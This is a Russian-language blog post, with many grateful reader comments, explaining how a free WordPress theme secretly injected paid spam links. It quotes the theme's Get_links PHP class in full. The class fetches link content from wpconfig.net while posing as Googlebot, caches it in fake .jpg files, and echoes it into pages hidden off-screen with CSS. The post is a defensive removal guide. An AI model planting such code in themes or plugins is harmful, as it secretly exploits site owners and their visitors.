Скрытые ссылки бесплатных шаблонов

При попытке настроить автоматическое резервное копирование заметил что лог-файл error_log в папке WordPress'а  какой-то уж слишком большой.

Сначала по отключал не поддерживаемые и не корректно работающие плагины, после чего обратил внимание на такие вот строки:

PHP Warning:  file_put_contents(/wp-content/uploads/2011/b3284f5be60d5b268402cb468b46a239.jpg) [<a href='function.file-put-contents'>function.file-put-contents</a>]: failed to open stream: No such file or directory in /wp-content/themes/Wallbase/functions.php on line 223

Первая мысль была проверить существует ли папка /wp-content/uploads/2011/ и если ее нет, то создать ее с правами 0777. После создания такой папки увидел что в папке начали появляться jpg файлы со странными именами. Файлы естественно в графическом редакторе не открывались, а вот в текстовом открываются без проблем. Содержимое таких файлов следующее:

<!-- wp-templates.ru/rules правила ссылки >> --> <div id="posts">  <a href="http://www.joufair.ru/">лучшие видео приколы</a> </div><noindex><style>#posts{position:absolute;left:-1970px;}</style></noindex>

Вот тут-то и вспомнилась поговорка: "Бесплатный сыр бывает только в мышеловке". В моем случае это бесплатный шаблон с сайта wp-templates.ru со встроенным кодом, который создает скрытые ссылки.

Если пройти по ссылке wp-templates.ru/rules, то можно увидеть вот такой текст:

Если вы хотите чтобы на вашем сайте не выводились партнерские ссылки, вам нужно отредактировать файл шаблона “comments.php”, удалив код:
<?php $lib_path = dirname(__FILE__).’/'; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Естественно код был сразу удален, спасибо что хоть таким образом предупредили. Но это не весь код, который участвует в создании скрытых ссылок.

В файле functions.php есть класс Get_links:

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime    = 21600;
var $_socket_timeout    = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen',          1);
@ini_set('default_socket_timeout',   $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

Этот код так же следует удалить.

Так же нашел интересную тему, в которой, скорее всего, автор сего безобразия продает такие ссылки по цене 500 сылок за 35$: forum.searchengines.ru/archive/index.php/t-711151.html

Вот такие пироги.

Код почистил, в добавок, раз меня уже использовали, можно смело удалять ссылку в подвале на сайт с бесплатными шаблонами, для этого отредактируйте файл footer.php.

Осталось выявить уже опубликованные скрытые ссылки (если таковые имеются) и почистить от них сайт, в этом может помочь бесплатная программка xenu, она пробежится по всем ссылкам вашего сайта, а вам останется лишь посмотреть есть ли среди этих ссылок что-то незнакомое.

Будем надеется что больше нигде нет какого-то вредного кода =)

Понравилось? =) Поделись с друзьями:

Обсуждение записи “Скрытые ссылки бесплатных шаблонов”

  1. Vsevolod says:

    Большое спасибо за информацию. У меня не так давно также появилось большое количество ссылок, причем не на всех а только на определенных страницах, которые таким образом загоняли.
    Самое интересное, что в параметрах везде стояло то, что ссылки находятся за экраном (параметр сдвига по горизонтали с отрицательным значением).
    Кому понадобилось размещать таким образом ссылки, которые и так не видно на экране? Ответа может быть 2 — это делается чтобы навредить сайту, либо получить халявный ТИЦ и PR, но судя пот тому что ссылки были не тематические — в моем случае было скорее первое чем второе.

  2. elimS says:

    Сомневаюсь что кто-то специально пытался навредить. Уже прошли те времена плохих хакеров которые вредили только ради забавы, а не выгоды. =)

  3. genij2012 says:

    Эх, висят 6 ссылок, но никак не могу найти.

  4. Дмитрий (portalpskov.ru) says:

    Спасибо, дружище!
    Не знал я, что такая подлость присутствует у этого мудака.
    Думаю поэтому я пострадал от Пингвина весной. С 1500 посещалка упала по 50. На каждой странице выводилась ссылка. Я даже запрос в Гугл делал на ручную проверку сайта. Мне ответили, что спама нет. Правильно, Пингвин наказывает не за спам, а за ссылки. Только случайно обнаружил эти скрытые ссылки. Пизнец, просто.
    Правда если удаляешь весь код, шаблон просто разваливается. Поэтому мне пришлось просто его сломать и сделать нерабочим. Но ссылки пропали — это главное.

  5. Виталий (seoronin.ru) says:

    Не забудьте еще удалить код в comments.php:

    $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links;

    Случайно нашел в своем шаблоне, когда исходящие ссылки мониторил. Был уверен, что шаблон чист, ибо самолично перелопатил его. А тут еще и такая подстава вылезла

  6. Сергей (dayafternight.ru) says:

    Недавно, на сервисе проверки исходящих ссылок случайно наткнулся на ссылку о каких то телефонах. Сначала искал в коде, в функции темы обратил внимание на Get_links и на параметр жизни кэша var $_cache_lifetime=21600;, но не стал ничего делать. После 5 мин поиска нашел ваш пост, спасибо, вы подтвердили мои опасения.

  7. Алена says:

    Спасибо! Очень выручили!

  8. Ольга says:

    Большое спасибо. Подредактировала комент.пхп согласно вашему совету, ссылка пропала. Еще часто в плагинах подобная гадость висит.

  9. Елена says:

    Здравствуйте! Вы просто не представляете, как счастлива, что Вас нашла! Спасибо большущее за пост! Мне, как новичку, он очень помог. Правда я нашла с помощью поиска код-генератор скрытых ссылок в другом месте. Все удалено. Антивирусник не ругается! Готова Вас за это расцеловать!)))

    Процветания Вам и Вашему блогу!

  10. slovoblud (web-chitalka.com) says:

    Большое спасибо. Очень выручил. При чем что интересно так это то что скорее всего эти ссылки начинают появятся не сразу а позже когда сайт ужде создан. Я когда ставил шаблон то смотрел нет ли лишних ссылок, заметил эти вот только когда на gogetlinks не приняли задание из-за большого количества вс.

  11. Владимир Демянович (elims.org.ua) says:

    У меня также, при установке шаблона проверял на наличие ссылок, но не обнаружил.

  12. Абакар (pc-lamer.ru) says:

    Спасибо большое была такая же проблема установил шаблон у видел подозрительные строки
    var $host = ‘wpconfig.net’;
    var $path = ‘/system.php’;
    Спасибо вы очень помогли

  13. Evgeny says:

    Вот ведь… нехорошие человеки! Я ещё в файле single.php лишнюю бяку нашёл. Скопировать забыл, но там явно шла ссылка на чужой ресурс, сразу глаз зацепился.
    Спасибо!

  14. Павел says:

    Спасибо огромное! Как раз тоже заметил, что файл error_log раздулся за неделю до 20 Мб у нового сайта. Стал искать и нашел этот пост.

  15. Igor (www.magazindomov.ru) says:

    Спасибо!

  16. Екатерина says:

    Спасибо Вам огромное за материал! Все получилось!

  17. cmd (cmd.kz) says:

    как говорится я аху.ел
    те же признаки, разрастался error_log
    потом нашел строку на которую ругался error_log и забил в гугл и так попал сюда. Все те же строки что и у вас. Совпало видимо :)
    Большое спс за то что все так подробно разжевали.

    когда то была посещалка почти 900 в сутки и росла, щас скатился до 200, но падение было до 110 в сутки (примерно в то время менял шаблон)

  18. Максим (instruccija.ru) says:

    Спасибо!) моя первая удаленная скрытая ссылка, тоже бесплатный шаблон качал….

  19. Евгений says:

    Ну наконец-то я нашел дельный совет. Весь вечер морочился, перечитал кучу рекомендаций (использовал find-link, искал в каждом пхп-файлике именно ссылку). Причем злополучный код был в functions.php, в комментс не было. В итоге с 30 осталось только 9 «правильных» ссылок.
    Вначале удалил код — покрашилась тема, но потом удалил еще с парой строк (я в этом не силен) и все норм, и ссылки ВСЕ! пропали и тему не испортил.
    Большое спасибо!

  20. Ленивая Мама says:

    Большое спасибо за статью!! Хорошо что только 2 ссылки левые появились и я сделала аудит сайта и сразу все обнаружила. Даже не догадывалась о подобных штуках, думала если и будет ссылка, так сразу и одна.
    В общем ужасное чувство, когда вот так внезапно портят сайты! Большое спасибо за ваши инструкции, быстро все исправила и даже не нужно было самой что-то искать и разбираться.

  21. Йа says:

    Спасибо! Очень полезная статья. Уже не первый раз помогает мне))

Обсудить